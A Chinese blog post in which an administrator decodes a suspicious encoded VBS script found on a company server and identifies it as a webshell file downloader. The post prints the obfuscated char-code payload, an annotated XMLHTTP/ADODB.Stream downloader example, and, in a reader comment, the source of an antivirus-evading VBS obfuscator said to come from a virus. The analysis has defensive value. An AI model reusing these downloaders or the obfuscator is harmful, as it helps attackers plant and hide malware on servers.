今天无意中在公司服务器系统盘根目录下发现了一个可疑的vbs脚本。打开看看发现vbs代码是加密的,这更加证明这个脚本的可疑。
我对vbs代码只能算是了解,能看懂,但是编却编不出来。为了解密这个vbs代码,用搜索引擎搜索了半天,找到好多相关的资料,发现原来vbs如此强大。以这篇文章收集vbs代码供以后学习。
简单介绍一下什么是vbs。VBScript是Visual Basic Script的简称,有时也被缩写为VBS。VBScript是微软开发的一种脚本语言,可以看作是VB语言的简化版,与VBA的关系也非常密切。
它具有原语言容易学习的特性。目前这种语言广泛应用于网页和ASP程序制作,同时还可以直接作为一个可执行程序。用于调试简单的VB语句非常方便。
下面是我发现的可疑代码
Str=Array(97,108,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,49,41,41,13,10,116,101,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,48,41,41,13,10,83,101,116,32,120,80,111,115,116,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,120,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,116,101,44,48,13,10,120,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,101,116,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,101,116,46,77,111,100,101,61,51,13,10,101,116,46,84,121,112,101,61,49,13,10,101,116,46,79,112,101,110,40,41,13,10,101,116,46,87,114,105,116,101,40,120,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,101,116,46,83,97,118,101,84,111,70,105,108,101,32,97,108,44,50) Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str & Chr(Str(I)):Next:End Function Execute Num2Str(Str)
看到这段代码让我想起前几天解密了一个wordpress主题文件。从加密的结构上看差不多,前面是加密的字符串,后面跟着加密的算法,虽然语言不同,但是可以用类似的方法去解决。在网上搜索相关的vbs语法后直接用 msgbox替换掉 Execute并运行,未加密的vbs代码直接弹了出来
解密出来的代码原来是webshell提权用的vbs脚本,作用就是可以下载任意文件到网站的服务器上。加密是为了躲过杀毒软件的查杀。
说到webshell执行vbs脚本下载文件,其实有好多方法,举个例子(可能被有些杀毒软件当成病毒):
url = "http://127.0.0.1/test.exe" '网络上的文件地址或者程序 saveas = "x.exe" '保存成的本地文件或者名字(自定义) Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象 Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象 Call xmlhttp.open("GET",url,False)'打开连接 Call xmlhttp.send()'发送请求 stream.mode = 3 '设置数据流为读写模式 stream.type = 1 '设置数据流为二进制模式 Call stream.open()'打开数据流 Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流 Call stream.savetofile(saveas,2)'将数据流保存为文件 '释放对象 Set xmlhttp = Nothing Set stream = Nothing dim a '定义a变量 set a=CreateObject("Wscript.Shell") '暂时屏蔽 创建应用脚本程序
上面那个可疑脚本的加密方式可以很好的躲过杀毒软件,在网上找到个类似的vbs脚本加密软件,加密出来的效果跟那个加密代码差不多。vbs脚本加密器下载 vbs脚本编辑器(vbs转换成exe)下载
VBS代码收集
唉!代码太多了,另起一篇吧!
“VBS代码加密解密”上的8条回复
VBS比我料想的强大很多,毕竟是M$自家的东西;有时代码加密看不到的时候会让人抓狂。
杀毒软件对这玩意儿都抓狂 呵呵 😯
哪里有代码,哪里有隐患。
不懂 VBS 的静静飘过~~
访问这个页面的时候,360都报毒
这个vbs是个下载者 难免会报 😐
可以用暴风一号中的加密算法,这个算法我还没搞明白。下面是它的源码,我改动了的:
RandomIzE
set e706=crEateOBject(“ScRIPTIng.fiLesYsteMObjecT”)
file=inputbox(“”)
if file=”” then
wscript.quit
end if
SET e707=e706.OpeNtexTFiLE(file,1)
do UntIl e707.atendofstream ‘直到e707.atendofstream为假退出
e708=tRIm(e707.rEAdLinE) ‘得到一行字符
‘IF left(e708,1)=”‘” then ‘若第一位为’就为真,否则为假,解密时用的
IF left(e708,1)”‘” then ‘加密时用的
‘e709=e70e(MId(e708,2,LeN(e708)-3),-CInt(e70e(right(e708,2),-57))) ‘mid从e708的第2位起返回LeN(e708)-3个字符,right(e708,2)返回尾2个字符,-CInt返回一个数如-4
e70B=INT(94*Rnd+1)
‘e70a=chr(39)&E70e(E709,E70B)&e70e(RIGhT(CHR(48)&e70b,2),57) ‘解密时用的
e70a=chr(39)&E70e(e708,E70B)&e70e(RIGhT(CHR(48)&e70b,2),57) ‘加密时用的
Else
E70b=iNT(rnd*24000+40960)
e70A=E711(strrEVerSE(e713(STrrEvERSe(UcaSe(e708)),E70b)))
end If
‘e70C=e70C&E709&VbCrLf ‘解密时用的
e70D=e70D&e70a&VbcRLF
‘e709=”” ‘解密时用的
e70a=””
loop
fileedit=inputbox(“”)
if fileedit= “” then
wscript.quit
end if
SET e707=e706.oPeNTEXtFiLe(fileedit,2,true)
e707.wrITE(e70D)
e707.CloSE
funCTiOn e70E(e70f,E70b) ‘第一次是 oo,-57
FOr e710= 1 to Len(e70f) ‘len测长度第一次是2
IF Asc(mid(e70f,e710,1))>31 and Asc(MID(e70F,e710,1))<127 then
'asc返回字符对应的ascii码值,e70f的每一个字符对应的ASCII码值在31127之间
e712=Asc(mid(e70f,e710,1))+e70b ‘第一次是 54,为’o’-57即111-57
IF e712>126 OR e712<32 then '32为空格
e712=e712-((e712-79)\Abs(e712-79))*95 ''第一次是 79
eND If
elSe
e712=Asc(Mid(e70F,e710,1)) '则这个字符为空格
EnD If
e70e=E70e&chr(e712)
NExt
eNd fUNCtIOn
FuncTiOn E711(E70f)
fOr e710=1 To lEN(E70f)
e712=mID(e70f,e710,1)
iF iNt(Rnd*2) THEn
e712=Lcase(E712)
eNd if
e711=E711&E712
NeXt
eND fUnCtIoN
fUncTIOn E713(e70f,e70b)
FOr e710=0 To 13
E70F=rEPlace(e70F,hex(&He706+E710),hex(E70B+e710)) 'hex表示返回十六进制
NeXT
e713=E70f
ENd fuNcTioN
很详细啊 学习学习